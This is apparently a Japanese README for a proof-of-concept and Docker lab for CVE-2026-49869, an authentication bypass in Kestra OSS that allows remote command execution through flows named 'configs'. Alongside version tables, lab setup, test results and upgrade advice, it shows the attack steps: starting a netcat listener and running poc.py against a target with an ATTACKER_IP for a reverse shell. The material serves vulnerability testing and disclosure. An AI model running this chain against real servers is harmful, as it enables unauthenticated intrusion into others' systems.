
CVE-2026-49869のPoCおよびDockerラボ。Kestra OSSにおける認証不要のRCEで、AuthenticationFilterのパスバイパスによりフロー作成とコマンド実行が可能になる。
★Kestra OSS AuthenticationFilter における認証バイパスの PoC および Docker ラボ★
このラボは、自身が管理するシステム上でのみ実行してください。
-p 8080:8080の例では、脆弱な API がすべてのホストインターフェースに公開される可能性があります。他のネットワークからのアクセスはブロックしてください。
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra は API を保護するために Basic Auth を使用しています。影響を受ける OSS バージョンでは、AuthenticationFilter が /configs で終わるあらゆるリクエストパスを公開設定エンドポイントとして扱います。したがって、未認証のクライアントは configs という名前のフローを作成し、両方とも /configs で終わる API パスを通じてそれを実行できます。そのフロー内のシェルタスクは、Kestra ワーカーコンテナ内でコマンドを実行できます。この欠陥と RCE チェーンは、Kestra セキュリティアドバイザリで説明されています。
| Kestra OSS ブランチ | 脆弱なバージョン | 最初の修正バージョン |
|---|---|---|
| 1.0.x 以前 | 1.0.45 より前 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 から 1.3.20 | 1.3.21 |
このラボでは、OSS Basic Auth を有効にした v1.3.20 を使用します。この問題は、Kestra API に到達可能な場合にこの認証パスに影響します。ローカルイメージは kestra/kestra:v1.3.20 に基づいています。
/configs で終わる他のリソースにアクセスまたは変更できます。アドバイザリでは、ワークフローテンプレートを通じた SSRF についても説明されています。コンテナの権限は、ホストの権限を意味するものではありません。
リポジトリには、この README とともに Dockerfile、entrypoint.sh、poc.py が含まれている必要があります。ターゲットを実行するには Docker が必要で、PoC には Python 3 が必要です。Python パッケージをインストールする必要はありません。
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh は、ラボ専用アカウントで Basic Auth を有効にします:
| ユーザー名 | パスワード |
|---|---|
[email protected] | Eqst123! |
Kestra では、メール形式のユーザー名と、8 文字以上で大文字・小文字の英字および数字を含むパスワードが必要です。これらの認証情報は、ローカルテスト専用として公開されています。
最初のリクエストが 200 を返すまで待ちます。2 番目のリクエストは 401 を返し、Basic Auth が通常の API パスを保護していることを示すはずです:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
停止したコンテナがすでに同じ名前で存在する場合は、docker start cve-2026-49869-lab を使用して再利用するか、docker run で新しいコンテナを作成する前にそのコンテナを削除してください。
このスクリプトは、認証情報なしで 2 つのリクエストを送信します。1 つはシェルタスクを含む configs/configs を作成または更新し、次はその実行を開始します。既存のユーザー作成フローは必要ありません。スクリプトを再度実行すると、同じ名前のラボフローが置き換えられます。
まず、シェル接続を受信するマシンでリスナーを起動します:
nc -lvnp LISTENER_PORT
次に、poc.py を含むディレクトリから PoC を実行します:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
同じマシン上の Docker ラボの場合は、TARGET を 127.0.0.1 に置き換えます。ATTACKER_IP には、コンテナが到達できる IPv4 アドレスを設定します。スクリプトはリスナーを起動しません。スクリプトは実行レスポンスを出力します。これには実行 ID が含まれます。リバースシェル自体が機能したことを確認するには、リスナーでの接続が必要です。
記録されたローカルテストでは、認証バイパスとワークフロー実行を検証するために無害な Log タスクを使用しました。リバースシェルのペイロードは実行していません。
| チェック | v1.3.20 | v1.3.21 |
|---|---|---|
| 認証情報なしの通常の保護された API | 401 | 401 |
認証情報なしで configs フローを作成 | 200 | 401 |
認証情報なしで configs 実行を開始 | 200 | 401 |
| 脆弱なバージョンでの無害なタスク | SUCCESS、ログにマーカー | — |
リバースシェルのコールバックは、これらの記録された結果には含まれていません。
1.0.x ブランチでは少なくとも 1.0.45 に、1.1.x–1.3.x ブランチでは 1.3.21 にアップグレードしてください。上流の修正は、パスを正規化し、すべての /configs サフィックスを受け入れる代わりに、正確な公開設定ルートをチェックします。アップグレードが完了するまでは、Kestra API へのアクセスを制限し、プロキシで意図された公開ルートのみへの未認証アクセスを許可してください。
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab